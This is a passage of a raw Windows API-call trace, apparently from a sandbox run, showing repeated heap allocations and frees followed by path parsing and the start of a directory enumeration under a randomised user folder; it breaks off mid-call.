0x30c8ab8 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\") returned="Xp-kb7abpIDOqh4\\" [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\") returned="VuM2\\" [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0062.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0062.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0062.227] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0062.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0062.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.227] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0062.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0062.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0062.227] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0062.227] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.227] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.227] PathFindFileNameW (pszPath="") returned="" [0062.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.227] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19fa810, ftCreationTime.dwHighDateTime=0x1d4d066, ftLastAccessTime.dwLowDateTime=0x61992c00, ftLastAccessTime.dwHighDateTime=0x1d4c94d, ftLastWriteTime.dwLowDateTime=0x61992c00, ftLastWriteTime.dwHighDateTime=0x1d4c94d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.227] FindNextFileW (in: 